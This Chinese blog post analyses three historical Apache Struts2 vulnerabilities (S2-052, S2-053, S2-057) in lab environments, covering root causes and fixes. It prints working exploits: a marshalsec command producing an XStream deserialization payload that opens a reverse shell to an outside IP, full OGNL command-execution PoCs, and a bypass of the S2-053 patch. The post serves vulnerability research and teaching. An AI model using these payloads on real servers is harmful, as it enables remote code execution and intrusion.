<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。
文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009
[旧文系列] Struts2历史高危漏洞系列-part3:S2-012/S2-013/S2-015
[旧文系列] Struts2历史高危漏洞系列-part4:S2-016/S2-032/S2-045
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-052
影响版本:Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
下面使用Struts2 2.3.33
版本自带的示例应用struts2-rest-showcase
进行调试分析。
从漏洞公告可获悉,该漏洞与OGNL表达式无关,而是由于REST plugin插件在处理xml类型的请求数据时,没有进行任何类型的过滤,故可构造恶意xml数据使XStream进行不安全的反序列化,从而达到RCE。
struts2-rest-plugin
是使Struts2实现REST API的插件。它通过Content-Type
或URI后缀名来识别不同的请求数据类型,然后根据请求数据类型用不同的实现类去处理。关键代码如下:
跟进XStreamHandler#toObject()
方法,发现调用了XStream#fromXML()
方法对请求数据进行反序列化。
struts-rest-plugin-2.3.33
依赖的XStream的版本是1.4.8
。故可以使用marshalsec生成ImageIO利用链的payload进行RCE的漏洞利用。
对于xstream的反序列化命令执行回显,本人暂时不知道如何实现。
下面使用marshalsec工具生成反弹shell的exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO "/bin/bash" "-c" "bash -i >& /dev/tcp/192.168.166.233/443 0>&1"
在struts2-rest-plugin-2.3.34
版本中,将XStream升级到了1.4.10
版本,且按照XStream官方的推荐(hxxps://x-stream.github.io/security.html),使用了白名单的方式指定可以反序列化的类型。
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-053
影响版本:Struts 2.0.0 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10.1
从漏洞公告可获悉:在FreeMarker模板中使用struts2标签库时,如果使用了表达式${}
去引用可控输入时,便会导致RCE攻击。
下面使用docker镜像medicean/vulapps:s_struts2_s2-053
进行调试分析。该环境使用的是Struts2 2.5.10.1
版本。
在该环境中,Index.action
的返回页面使用FreeMarker
模板去渲染。在freemarker模板文件index.ftl
里使用了struts2标签s:url
,即@s.url
,且该标签的value
属性引用了外界可控输入的name
参数的值。代码如下:
简单执行OGNL表达式如下:
由于漏洞触发是在Struts2处理返回页面,即Result
对象阶段。因此在DefaultInvocation
开始调度Result
对象处,以及OgnlValueStack#findValue()
方法处下断点,便可知道漏洞触发执行的调用栈。
由于Index.action
的result
标签的type
属性为freemarker
,所以DefaultInvocation
调度的Result对象
其实是FreemarkerResult
,它会根据模板文件创建对应的模板对象Template
来进行一系列的解析渲染操作。在这个过程中,它先是解析表达式${name}
获取name
参数的值,然后对值进行OGNL表达式的计算。关键代码如下:
拿S2-045的exploit稍微修改一下便可:
%{
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}
通过版本代码比对发现,Struts2 2.5.12
版本做了很多改动。但通过调试发现,针对这个漏洞,最关键的修复代码在于将OgnlUtil
类里的黑名单集合excludedPackageNames
和excludedClasses
都由原来的HashSet
改为不可修改的集合类Collections$UnmodifiableSet
来替代,从而使得S2-045的exploit失效了。如下图所示:
但!很遗憾,这个修复可以被轻易绕过,因为修复后的代码中,OgnlUtil
类里的excludedPackageNames
和excludedClasses
属性,只是它引用的集合对象是一个不可修改的对象,故可通过它们的setter方法,将其引用到一个空集合对象即可。
这里直接放结论:将在上面的可回显PoC稍加修改,然后连续执行两次,便可在修复后的Struts2 2.5.12
版本getshell!至于为什么需要执行两次才行,这个留到分析S2-057漏洞时再好好说道。
修改后的PoC如下:
%{
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedPackageNames('')).
(#ognlUtil.setExcludedClasses('')).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-057
影响版本:Struts 2.0.4 - Struts 2.3.34, Struts 2.5 - Struts 2.5.16
从漏洞公告可获悉,该漏洞有两个前提条件,如下:
alwaysSelectFullNamespace
为true
struts.xml
文件中,没有对action对象的上层(即package
标签)设置namespace
属性,或者namespace
属性使用了通配符。满足这两个前提条件的情况下,存在4个攻击向量:
ServletActionRedirectResult
:对应的result type为redirectAction
;ActionChainResult
:对应的result type为:ActionChainResult;PostbackResult
:对应的result type为:postback
;ServletUrlRenderer
:对应
标签的处理。这里仅以ServletActionRedirectResult
为例进行调试分析,其他3个分析起来差不多。
下面使用docker镜像medicean/vulapps:s_struts2_s2-057
进行调试分析。该环境使用的是Struts2 2.5.16
版本。
如下图,应用开启了alwaysSelectFullNamespace
特性,action对象actionChain1
的result
对象的类型设置为redirectAction
,且package
没有设置namespace
属性。
简单表达式执行PoC如下:
hxxp://host:port/S2-057/${123+456}/actionChain1.action
访问后,跳转的Url如下:
hxxp://host:port/S2-057/579/register2.action
当alwaysSelectFullNamespace
特性开启时,namespace
的值会从uri
中去获取,如下图:
后面在处理Result
对象时,在ServletActionRedirectResult#execute()
方法中,获取前面得到的namespace
的值,即表达式${123+456}
,然后与result
指定的action名进行字符串拼接,拼接后的字符串赋值给ServletActionRedirectResult#location
属性,如下图:
继续跟进代码,在StrutsResultSupport#conditionalParse()
方法中看到熟悉的TextParseUtil#translateVariables()
方法调用。没错,后面的执行流程就和S2-012是一样的了,这里不再详述。
下面重点说一下命令执行PoC的构造。
因为在Struts2 2.5.16
(依赖的ognl版本为3.1.15
)中,OgnlContext
的get()
方法已经不支持传入OgnlContext.CONTEXT_CONTEXT_KEY
常量,故无法像以前一样在OGNL表达式中使用#context
直接访问上下文对象context
。
因此,我们需要找另外的方式先去获取context
上下文对象,参考文章[3]
中提出通过上下文对象内部集合里的attr
对象来获取context
上下文对象。因为attr
是可以使用#attr
去访问的,它是一个AttributeMap
对象。如下图:
从AttributeMap#get()
方法可以看到,其实它会去上下文对象context
内部存放的request、session、application
对象去查值。其中,通过request.get("struts.valueStack")
便可获取值栈OgnlValueStack
,而OgnlValueStack
对象中又存在指向上下文对象的属性。
因此,便可通过#request['struts.valueStack'].context
或attr['struts.valueStack'].context
来获取上下文对象。
接着,再配合前面S2-053的修复绕过,即利用setter方法将指向黑名单集合的属性值excludedClass
和excludedPackageNames
指向一个空的集合。
综上可得,命令执行可回显的PoC如下:
${
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#[email protected]@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
但为什么执行第一次的时候无效呢?
是因为PoC里改的是OgnlUtil
对象里的excludedClass
和excludedPackageNames
,而实际进行黑名单校验时,是在安全管理器SecurityMemberAccess
中进行的,使用的也是SecurityMemberAccess
中的excludedClass
和excludedPackageNames
属性。如下图:
因为第一次请求,我们已经将OgnlUtil
的excludedClass
和excludedPackageNames
给指向了空的集合。所以第二次请求,SecurityMemberAccess
从OgnlUtil
获取到的黑名单也因此变成了空的集合。从而实现了绕过。
在Struts2 2.5.17
版本中,DefaultActionMapping
在获取namespace
时增加了正则匹配字符白名单的校验。
[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf